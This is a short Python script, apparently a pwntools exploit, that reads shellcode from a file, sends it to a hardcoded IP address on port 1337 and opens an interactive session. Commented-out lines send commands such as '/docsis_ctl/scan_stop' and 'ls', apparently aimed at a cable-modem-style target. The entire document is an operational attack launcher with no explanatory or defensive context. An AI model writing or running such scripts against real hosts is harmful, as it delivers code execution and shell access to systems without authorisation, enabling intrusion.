from pwn import *
import time
def exploit(ip):
    with open('exploit.raw', 'rb') as f:
        shellcode = f.read()

    l = remote(ip, 1337)
    l.sendline(shellcode)
    #l.sendafter(b'Done!', b'/docsis_ctl/scan_stop\n')
    #l.sendafter(b'Scan stopped...', b'ls')

    l.interactive()

exploit('5.103.158.114')
